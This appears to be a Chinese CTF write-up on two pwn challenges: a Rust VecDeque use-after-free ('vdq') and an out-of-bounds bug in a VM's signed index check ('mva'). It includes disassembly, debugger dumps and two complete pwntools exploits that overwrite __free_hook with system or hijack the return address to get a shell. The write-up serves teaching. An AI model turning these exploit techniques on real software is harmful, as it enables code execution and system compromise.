然后定位崩溃的位置
.text:000000000000E2CC loc_E2CC: ; CODE XREF: vdq::handle_opr_lst::h7fb2393547b96358+7DA↑j
.text:000000000000E2CC lea rdi, [rsp+80h] ; alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> *
.text:000000000000E2D4 call _ZN4core3ptr13drop_in_place17hc78e8b893c128756E ; core::ptr::drop_in_place::hc78e8b893c128756
.text:000000000000E2D9 jmp short $+2
查了一下drop_in_place
会释放掉内存,这里的这个container里面存了vdq::Note
,推断很有可能一个容器里一个note出现了不止一次或者一个note同时出现在两个容器(notes和archived_notes)
接下来缩减一下fuzz得到的poc,首先考虑的是View
,直觉上看view的功能应该只是打印一下内容,不会对触发漏洞造成太大的影响,但是从poc里去掉View了之后,崩溃就消失了,那么View很可能有重要的影响。
所以调整一下fuzzer,只使用三个操作Add, Remove, View,并且设定前几个操作只能Add,然后继续fuzz
["Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add"]
$
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A
Aa
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
Aa0A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
拿到的一个比较好看的poc,之后的exp也是基于它编写
看看View的实现
case 4u:
core::fmt::Arguments::new_v1::h44adc30b070cf8c4(
&v43,
(___str_)__PAIR128__(1LL, &off_7BBC0),
(__core::fmt::ArgumentV1_)((unsigned __int64)&needle.data_ptr + 7));
std::io::stdio::_print::h0d31d4b9faa6e1ec();
alloc::collections::vec_deque::VecDeque$LT$T$GT$::make_contiguous::he6debc29b2205434(
(_mut__alloc::boxed::Box<vdq::Note>_ *)¬es,
(alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> *)&off_7BBC0);
p_notes = (unsigned __int64)¬es;
alloc::collections::vec_deque::VecDeque$LT$T$GT$::iter::h0cc194c5561ce1ed(&v44, ¬es);
core::iter::traits::iterator::Iterator::for_each::h73567d402a60c07d(v10, (vdq::handle_opr_lst::closure_0)&v44);
break;
看不懂,这里分别搜索print
,iterator::for_each
,make_contiguous
的vulnerability,搜到了 CVE-2020-36318. 根据容器的结构继续分析
00000000 alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> struc ; (sizeof=0x20, align=0x8, copyof_185)
00000000 ; XREF: _ZN3vdq14handle_opr_lst17h7fb2393547b96358E/r
00000000 tail dq ?
00000008 head dq ?
00000010 buf alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> ?
00000010 ; XREF: vdq::handle_opr_lst::h7fb2393547b96358:loc_DC0C/o
00000020 alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> ends
00000020
通过调试可以发现,deque的初始容量是4,当容器满后,capacity会翻倍,tail指向低地址尾部,head指向高地址头部
gef➤ x/3xg $rdi
0x7ffc94dee2a0: 0x0000000000000000 0x0000000000000002
0x7ffc94dee2b0: 0x000055c3e6e5ffa0
gef➤ x/4xg 0x7ffc94dee2a0
0x7ffc94dee2a0: 0x0000000000000000 0x0000000000000004
0x7ffc94dee2b0: 0x000055c3e6e600f0 0x0000000000000008
同时可以发现,pop之后,容器对应的index不会立刻清除,而是移动了tail
gef➤ x/4xg $rdi
0x7ffe849e3740: 0x0000000000000001 0x0000000000000003
0x7ffe849e3750: 0x00005607f06c2fb0 0x0000000000000004
gef➤ x/16xg 0x00005607f06c2fb0
0x5607f06c2fb0: 0x00005607f06c2fe0 0x00005607f06c3030
0x5607f06c2fc0: 0x00005607f06c3080 0x0000000000000000
调试poc,观察view前后的变化
gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002 0x0000000000000001
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577020
0x555a63576f90: 0x0000555a63577070 0x0000555a63576fd0
gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000001 0x0000000000000004
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0 0x0000555a63577020
0x555a63576fa0: 0x0000000000000000 0x0000000000000021
0x555a63576fb0: 0x0000000000000a61 0x0000000000000000
0x555a63576fc0: 0x0000000000000000 0x0000000000000031
0x555a63576fd0: 0x0000000000000001 0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0 0x0000000000000008
0x555a63576ff0: 0x0000000000000001 0x0000000000000021
gef➤
gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002 0x0000000000000004
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0 0x0000555a63577020
0x555a63576fa0: 0x0000000000000000 0x0000000000000021
0x555a63576fb0: 0x0000000000000a61 0x0000000000000000
0x555a63576fc0: 0x0000000000000000 0x0000000000000031
0x555a63576fd0: 0x0000000000000001 0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0 0x0000000000000008
0x555a63576ff0: 0x0000000000000001 0x0000000000000021
gef➤
gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002 0x0000000000000001
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000006
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0 0x0000555a63577020 # 出现两个一样的地址
0x555a63576fa0: 0x0000555a63577070 0x0000000000000021
0x555a63576fb0: 0x0000000000000a61 0x0000000000000000
0x555a63576fc0: 0x0000000000000000 0x0000000000000031
0x555a63576fd0: 0x0000000000000001 0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0 0x0000000000000008
0x555a63576ff0: 0x0000000000000001 0x0000000000000021
gef➤
综上(虽然不知道漏洞具体的细节)但是我们可以得到利用策略如下
- UaF一个大chunk,View得到libcbase,freehook,system等等地址
- 再次UaF,利用输入时的
get_raw_line
会申请一块地址存放输入数据的特性,控制大小,申请到一个vdq::Note
(并且由于UaF,这个Note现在处于使用中),修改掉对应的buffer的地址到freehook上,注意要加一个偏移量,因为append会在buffer的后面添加数据,让buffer的末尾刚好在freehook就行 - 使用Append,修改freehook为system,然后随便使用一个会调用
get_raw_line
的功能,输入/bin/sh即可。
完整exp
from pwn import *
sh = process("./vdq")
op = """
[
"Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add", "Remove", "Remove", "View",
"Add", "View", "Remove", "Append", "Append", "View", "Add", "Remove", "View"
]
$
"""
# "Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add", "Remove", "Remove", "View", UaF a big chunk
# "Add", "View", "Remove", "Append", "Append", "View", "Add", "Remove", "View"
# Add: create new note at index 1(UaF index 0)
# Remove: Remove index 0
# Append: use append to allocate vdq::Note(at index 1) from tcache
# change the buffer pointer
# Append: append again to write freehook
# Add: profit
sh.send(op.encode())
sleep(1)
sh.sendline(b"a"*0x1)
sh.sendline(b"b"*0x1)
sh.sendline(b"c"*0x1)
sh.sendline(b"d"*0x1)
sh.sendline(b'e'*0x800)
sh.sendline(b'f'*0x300)
sh.recvuntil(b"Removed note [5]")
sh.recvuntil(b"-> ")
ret = sh.recv(12).decode()
addr = ret[-2:]+ret[-4:-2]+ret[-6:-4]+ret[-8:-6]+ret[-10:-8]+ret[-12:-10]
addr = int(addr, 16)
log.success("leak addr: " + hex(addr))
libcaddr = addr - 0x3ebca0
freehook = libcaddr + 0x3ed8e8
freehook_offset = freehook - 0x2a # offset
system = libcaddr + 0x4f420
log.success("libc addr: " + hex(libcaddr))
log.success("freehook: " + hex(freehook))
sh.sendline(b'a'*5) # to tcache[0x340]
sh.sendline(p64(freehook_offset) * 3 + p64(0))
sh.sendline(p64(system))
sh.sendline(b'/bin/sh')
sh.interactive()
mva
给定的程序实现了一个vm,指令长度4 bytes,可以发现,在mul
时没有检测操作数大小,导致越界读取
case 0xDu:
if ( BYTE2(instruction) >= 6u )
exit(0);
if ( (unsigned __int8)instruction >= 6u )
exit(0);
reg[SBYTE2(instruction)] = reg[SBYTE1(instruction)] * reg[(char)instruction];
break;
movsx eax, [rbp+var_249]
从汇编可以看出,可以传入负数,然后读出栈上的其它数据,然后再看
case 0xEu:
if ( BYTE2(instruction) >= 6u )
exit(0);
if ( SBYTE1(instruction) > 5 )
exit(0);
reg[SBYTE1(instruction)] = reg[SBYTE2(instruction)];
break;
这里对第一个操作数的大小检查带符号,所以可以用负数绕过,达到越界写,这样我们可以覆盖虚拟机栈指针,虽然这只能写入一个负数,但是通过
mov [rbp+rax*2+stack], dx
rax*2可以引发整数溢出,再次把数值变为正数,从而将虚拟机栈顶指向返回地址,完整exp如下
from pwn import *
sh = process('./mva')
def load(reg, val):
command = p8(0x01) + p8(reg) + p8(val >> 8) + p8(val & 0xFF)
return command
def add(reg, op1, op2):
command = p8(0x02) + p8(reg) + p8(op1) + p8(op2)
return command
def sub(reg, op1, op2):
command = p8(0x03) + p8(reg) + p8(op1) + p8(op2)
return command
def mul(reg, op1, op2):
command = p8(0x0D) + p8(reg) + p8(op1) + p8(op2)
return command
def mov(reg, op1, op2):
command = p8(0x0E) + p8(op2) + p8(op1) + p8(op2)
return command
def push():
command = p8(0x09) + p8(0) * 3
return command
def pop():
command = p8(0x0A) + p8(0) * 3
return command
def view():
command = p8(0xf) + p8(0) * 3
return command
def inverse(num):
return (~(num-1) & 0xFF)
payload = load(0, 0x1) # reg[0] = 0x1
payload += mul(0, inverse(124), 0) # reg[0] = reg[-124] * reg[0]
payload += load(0, 0x1) # reg[0] = 0x1
payload += mul(0, inverse(122//2), 0)# reg[0] = reg[-125] * reg[0]
payload += load(2, 0x0006) # reg[2] = 0x0011
payload += add(1, 0, 2) # reg[1] = reg[0] + reg[2]
payload += load(0, 0x1) # reg[0] = 0x1
payload += mul(0, inverse(124//2), 0)# reg[0] = reg[-126] * reg[0]
payload += load(3, 0xf567) # reg[3] = 0x9b72
payload += add(2, 0, 3) # reg[2] = reg[0] + reg[3]
# payload += pop()
payload += load(0, 0x8000) # reg[0] = 0x8000
payload += mov(0, inverse(0x07), 0) # reg[-0x07] = reg[0]
payload += load(0, 0) # reg[0] = 0
payload += mov(0, inverse(0x08), 0) # reg[-0x08] = reg[0]
payload += load(0, 0) # reg[0] = 0
payload += mov(0, inverse(0x09), 0) # reg[-0x09] = reg[0]
payload += load(0, 0x010c) # reg[0] = 0x10c
payload += mov(0, inverse(0x0a), 0) # reg[-0x0a] = reg[0]
payload += mov(0, 0, 2) # reg[0] = reg[2]
payload += push() # push reg[0]
payload += mov(0, 0, 1) # reg[0] = reg[1]
payload += push() # push reg[0]
# 0x1ed6a0 0x845ca
payload += (0x100 - len(payload)) * b'\x00'
print(payload)
sh.sendline(payload)
sh.interactive()